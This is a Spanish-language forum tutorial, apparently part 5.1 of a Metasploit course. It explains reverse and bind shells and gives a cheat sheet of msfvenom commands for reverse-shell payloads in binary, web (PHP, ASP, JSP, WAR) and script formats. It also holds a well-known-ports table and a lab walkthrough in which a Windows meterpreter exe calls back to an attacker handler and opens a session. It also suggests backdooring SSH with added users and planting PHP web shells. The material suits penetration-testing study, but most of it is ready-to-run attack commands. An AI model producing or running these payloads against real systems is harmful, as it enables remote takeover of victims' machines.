(https://i.imgur.com/6OKBHxt.jpg)
Ahora vamos a crear un simple paylodad con msfvenom con extensión .exe
MSFVENOM: Es un generador de paylodad independiente de metasploit. Esta herramienta es una combinación de msfpayload y msfencode utilizar ambas herramientas en una única instancia. Msfvenom reemplazo tanto msfpayload como msfencode a partir del 8 de junio del 2015.
Si quieres saber un poco más de msfvenom vea el post anterior
https://underc0de.org/foro/hacking/curso-metasploit-part-5-hablemos-de-msfvenom/
Se han preguntado que es reverse y que es bind.
Reverse shell: O shell inverso en español es un tipo de shell en que el equipo víctima se comunica de vuelta con la maquina atacante. La máquina atacante tiene un puerto de escucha en el que recibe la conexión.
bind shell: Tipo de shell en el que la máquina de destino abre un puerto de comunicación o un oyente en la máquina víctima y espera una conexión entrante. Luego, el atacante se conecta al oyente de la máquina víctima, que luego lleva a la ejecución de código o comando en el servidor.
(https://pentest.blog/wp-content/uploads/reverse_bind-2.png)
CUANDO USAR UNA REVERSE SHELL??Si te encuentras en uno de los siguientes escenarios no limitado, entonces deberías considerar usar un shell inverso
- la máquina de la víctima esta detrás de una red privada diferente.
- El firewall de la máquina objetivo bloquea los intentos de conexión entrante a su bindshell.
- tu payload no puede unirse al puerto que deseas debido a cualquier razón.
- Simplemente no puede decidir que elegir.
Cuando una shell inverso no es necesarioSi puede hacer un backdoor de un servicio existente, es posible que no necesite una shell inverso. Por ejemplo: si la máquina de destino ya está ejecutando un servicio SSH, puede intentar agregarle un nuevo usuario y usarlo.
Si la máquina de destino es un servidor web que admite un lenguaje de programación del lado del servidor, entonces puede dejar una puerta trasera en ese lenguaje. Por ejemplo, muchos servidores Apache soportan PHP, luego puede usar un "shell web" de PHP. Los servidores IIS suelen ser compatibles con ASP o ASP.net. El Metasploit ofrece cargas útiles en todos estos lenguajes.
Lenguajes para crear paylodad necesarioBinariosLinuxmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Tu IP> LPORT=<Tu puerto> -f elf > shell.elf
Windowsmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<Tu IP> LPORT=<Tu puerto> -f exe > shell.exe
Macmsfvenom -p osx/x86/shell_reverse_tcp LHOST=<Tu IP> LPORT=<Tu puerto> -f macho > shell.macho
Web PayloadsPHPmsfvenom -p php/meterpreter_reverse_tcp LHOST=<Tu IP> LPORT=<Tu puerto> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASPmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<Tu IP> LPORT=<Tu puerto> -f asp > shell.asp
JSPmsfvenom -p java/jsp_shell_reverse_tcp LHOST=<Tu IP> LPORT=<Tu puerto> -f raw > shell.jsp
WARmsfvenom -p java/jsp_shell_reverse_tcp LHOST=<Tu IP> LPORT=<Tu puerto> -f war > shell.war
Scripting PayloadsPythonmsfvenom -p cmd/unix/reverse_python LHOST=<Tu IP> LPORT=<Tu puerto> -f raw > shell.py
Bashmsfvenom -p cmd/unix/reverse_bash LHOST=<Tu IP> LPORT=<Tu puerto> -f raw > shell.sh
Perlmsfvenom -p cmd/unix/reverse_perl LHOST=<Tu IP> LPORT=<Tu puerto> -f raw > shell.pl
ShellcodePara todos los shellcode, consulte 'msfvenom -help-formats' para obtener información sobre los parámetros válidos. Msfvenom dará salida al código que se puede cortar y pegar en este lenguaje para sus exploits.
Linux Based Shellcodemsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Tu IP> LPORT=<Tu puerto> -f <lenguaje>
Windows Based Shellcodemsfvenom -p windows/meterpreter/reverse_tcp LHOST=<Tu IP> LPORT=<Tu puerto> -f <lenguaje>
Mac Based Shellcodemsfvenom -p osx/x86/shell_reverse_tcp LHOST=<Tu IP> LPORT=<Tu puerto> -f <lenguaje>
Handlersuse exploit/multi/handler
set PAYLOAD <Nombre del payload que ocupamos al general con el msfvenom>
set LHOST <Nuestra IP>
set LPORT <El puerto que seteamos>
exploit
Mas adelante lo veremos con mas detalles.
Como configurar una shell inverso durante la generación de un paylodad, Cuando generamos una shell inverso con msfvenom debemos saber las siguientes opciones importante. LHOST y LPORT.
LHOST - Esta es la dirección IP a la que desea que se conecte nuestra máquina de destino, En otra palabra nuestra dirección IP, recuerden que la víctima se tiene que conectar hacia nosotros.
LPORT - Este es el puerto al que se conectara la máquina de destino. Acá podemos poner cualquier puerto ojo que no se esté ocupando, para saber eso ocupe NMAP lo más común del puerto que se ocupa son como 443, 444, 445 como ejemplo.
Un puerto es un punto final a una conexión lógica y el medio por el que un programa cliente se comunica con un programa específico en una computadora en una red digamos que estas en una habitación lleno de puertas enumerado del 0 al 65536 y que cada puerta tiene un servicio único que como el puerto 80 que es web y si nosotros que LPORT ponemos 80 va a ver conflicto por que el 80 ya está ocupado. existen puertos ya asignado como la siguiente lista:
Puerto Descripción
1 TCP Port Service Multiplexer (TCPMUX)
5 Remote Job Entry (RJE)
7 Protocolo Echo (Responde con eco a llamadas remotas)
9 Protocolo Discard (Elimina cualquier dato que recibe)
13 Daytime (Fecha y hora actuales)
17 Quote of the Day (Cita del Día)
18 Message Send Protocol (MSP)
19 Protocolo Chargen, Generador de caractéres
20 FTP — Datos
21 FTP — Control
22 SSH, scp, SFTP – Remote Login Protocol
23 Telnet
25 Simple Mail Transfer Protocol (SMTP)
29 MSG ICP
37 Time
42 Host Name Server (Nameserv)
43 WhoIs
49 Login Host Protocol (Login)
53 Domain Name System (DNS)
66 Oracle SQLNet
67 BOOTP (BootStrap Protocol) (Server), también usado por DHCP
68 BOOTP (BootStrap Protocol) (Client), también usado por DHCP
69 Trivial File Transfer Protocol (TFTP)
70 Gopher Services
79 Finger
80 HTTP
88 Agente de autenticación Kerberos
103 X.400 Standard
107 Remote Telnet Service
108 SNA Gateway Access Server
109 POP2
110 POP3
115 Simple File Transfer Protocol (SFTP)
118 SQL Services
119 Newsgroup (NNTP)
123 NTP
137 NetBIOS Name Service
138 NetBIOS Datagram Service
139 NetBIOS Session Service
143 Internet Message Access Protocol (IMAP)
156 SQL Server
161 SNMP
162 SNMP-trap
177 XDMCP (Protocolo de gestión de displays en X11)
179 Border Gateway Protocol (BGP)
190 Gateway Access Control Protocol (GACP)
194 Internet Relay Chat (IRC)
197 Directory Location Service (DLS)
209 Quick Mail Protocol
217 dBASE Unix
389 Lightweight Directory Access Protocol (LDAP)
396 Novell Netware over IP
443 HTTPS
444 Simple Network Paging Protocol (SNPP)
445 Microsoft-DS (Active Directory, compartición en Windows, gusano Sasser, Agobot)
458 Apple QuickTime
500 IPSec ISAKMP, Autoridad de Seguridad Local
512 exec
513 login
514 syslog usado para logs del sistema
515 Printer
520 RIP
522 Netmeeting
531 Conference
546 DHCP Client
547 DHCP Server
563 SNEWS
569 MSN
631 CUPS: sistema de impresión de Unix
666 identificación de Doom para jugar sobre TCP
992 Telnet SSL
993 IMAP4 SSL
995 POP3 SSL
1080 Socks Proxy
1352 IBM Lotus Notes/Domino RCP
1433 Microsoft-SQL-Server
1434 Microsoft-SQL-Monitor
1494 Citrix MetaFrame Cliente ICA
1512 WINS
1521 Oracle listener
1701 Enrutamiento y Acceso Remoto para VPN con L2TP
1723 Enrutamiento y Acceso Remoto para VPN con PPTP
1761 Novell Zenworks Remote Control utility
1863 MSN Messenger
2049 NFS
2082 CPanel
2086 WHM (Web Host Manager)
2427 Cisco MGCP
3000 Calista IP phone (saliente)
3030 NetPanzer
3128 Squid Proxy
3306 MySQL
3389 Microsoft Terminal Server
3396 Novell agente de impresión NDPS
3690 SubVersion
4099 AIM Talk
4662 eMule
4672 eMule
4899 RAdmin
5000 UPNP (Universal plug-and-play)
5060 SIP (Session Initiation Protocol)
5190 Calista IP phone (entrante)
5222 XMPP/Jabber: conexión de cliente
5223 XMPP/Jabber: puerto por defecto para conexiones de cliente SSL
5269 XMPP/Jabber: conexión de servidor
5432 PostgreSQL
5500 VNC (Virtual Network Computing)
5517 Setiqueue proyecto SETI@Home
5631 pcAnyWhere (host)
5632 pcAnyWhere (host)
5400 VNC (Virtual Network Computing)
5500 VNC (Virtual Network Computing)
5600 VNC (Virtual Network Computing)
5700 VNC (Virtual Network Computing)
5800 VNC (Virtual Network Computing)
5900 VNC (Virtual Network Computing)
6000 X11 usado para X-windows
6112 Blizzard Entertainment
6129 Dameware: Software conexión remota
6346 Gnutella
6347 Gnutella
6348 Gnutella
6349 Gnutella
6350 Gnutella
6355 Gnutella
6667 IRC
6881 BitTorrent: puerto por defecto
6891-6900 MSN Messenger (archivos)
6901 MSN Messenger (voz)
6969 BitTorrent: puerto de tracker
7100 Servidor de Fuentes X11
8000 Shoutcast
8080 HTTP alternativo al puerto 80. También Tomcat default
8118 privoxy
8291 routers Microtik
9009 Pichat peer-to-peer chat server
9898 Dabber (troyano)
10000 Webmin (Administración remota web)
12345 Netbus (troyano)
19226 Puerto de comunicaciones de Panda Agent
20000-20019 ICQ
28800-29000 MSN Game Zone
31337 Back Orifice (troyanos)
Ahora vamos a la práctica. en una red LAN.
Maquina atacante:
- OS: Kali Linux
- IP: 192.168.0.103
Maquina Victima:
- OS: Windows 7 - 64 Bits
- IP: 192.168.0.101
- No tiene Anti-Virus "Con fines de hacer prueba"
- Firewall deshabitado "Con fines de hacer prueba"
Ahora vamos a crear el payload, como es contra una maquina Windows tenemos que crear una payload con una extensión exe, entonces escribimos en la consola lo siguiente.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<Tu IP> LPORT=<Un puerto cualquiera> -f -o /root/paylodad.exe
en mi caso quedaría así
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=4444 -f -o /root/payload.exe
(https://i.imgur.com/br4nLou.png)
al generar el payload se va a demorar un poco a sí que paciencia. cuando finalice podemos ver cuánto pesa el payload.
Opciones al momento de generar nuestro payload. Mas que nada un repaso.-p | --payload: Se debe especificar el payload que se quiere utilizar, Para ver todos los payload que podemos crear escribimos en la consola msfvenom -l all
(https://i.imgur.com/EBh0G5o.png)
LHOST: Nuestra IP.
LPORT: El puerto que queremos que se conecte.
-f: es la extensión o formato en mi caso sería exe.
-o: Esta permite crear un archivo de salida más con el nosotros que deseamos crear nuestro payload.
Ahora una vez creado el paylodad tenemos que pasarlo a la maquina víctima. no ejecuten el payload todavía.
primero tenemos que ejecutar nuestro metasploit para ejecutar el módulo Handlers que nos permite es estar en modo escucha y listo a la espera cuando la maquina victima ejecute el payload.
Escribimos en la consola
msfconsole
y nos dirigimos al módulo Handlers
use exploit/multi/handler
Escribimos
show options
Para ver las opciones del módulo.
(https://i.imgur.com/0TZRm4O.png)
En la imagen de abajo no se ve muy clara entonces escriban "info" sin las comillas dentro del módulo.
(https://i.imgur.com/tvZ0ioJ.png)
Ahora tenemos que setear el modulo.
set PAYLOAD <Nombre del payload que creamos en msfvenom>
set LHOST <Nuestra IP>
set LPORT <El puerto que seteamos>
En mi caso quedara algo a así.
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.103
set LPORT 4444
Escribimos
show opciones
Para ver nuestra si está todo bien seteados
(https://i.imgur.com/RRZBGiW.png)
acá tiene dos opciones ejecutar el payload primero el exe o ejecución handler por mi parte voy a ejecutar el payload primero.
(https://i.imgur.com/I1I7wdG.png)
(https://i.imgur.com/PI7f6GY.png)
Ahora ejecutamos el handler. con el comando:
exploit
(https://i.imgur.com/F0TZFOy.png)
(https://i.imgur.com/oPpn4hB.png)
Como pueden ver en la imagen conseguimos la shell y que nos abrió una sesión 1. y listo a si de simple.
Curso Metasploit - Part 1 - Hablemos sobre metasploit (https://underc0de.org/foro/hacking/curso-metasploit-part-1-hablemos-sobre-metasploit/)
Curso Metasploit - Part. 2.1 - Comandos de metasploit (https://underc0de.org/foro/hacking/curso-metasploit-part-2-1-comandos-de-metasploit/)
Curso Metasploit - Part. 2.2 - Comandos de metasploit (https://underc0de.org/foro/hacking/curso-metasploit-part-2-2-comandos-de-metasploit/)
Curso Metasploit - Part. 3 - Como obteber un meterpreter con EternalBlue (https://underc0de.org/foro/hacking/curso-metasploit-part-3-como-obteber-un-meterpreter-con-eternalblue/)
Curso Metasploit - Part. 4 - Definiciones Comandos de meterpreter (https://underc0de.org/foro/hacking/curso-metasploit-part-4-definiciones-comandos-de-meterpreter/)
Curso Metasploit - Part. 4.1 - Demostracion de comandos de meterpreter (https://underc0de.org/foro/hacking/curso-metasploit-part-4-1-demostracion-comando-meterpreter-con-ejemplos/)
Curso Metasploit - Part. 4.2 - Demostracion de comandos de meterpreter (https://underc0de.org/foro/hacking/curso-metasploit-part-4-2-demostracion-de-comandos-de-meterpreter-36120/)
Curso Metasploit - Part. 5 – Hablemos de msfvenom (https://underc0de.org/foro/hacking/curso-metasploit-part-5-hablemos-de-msfvenom/)
Curso Metasploit - Part. 5.1 – Creando un paylodad basico
#quebonito, bien documentado y ordenado.
Tendré en cuenta tu serie de Metasploit para leerlo luego. (: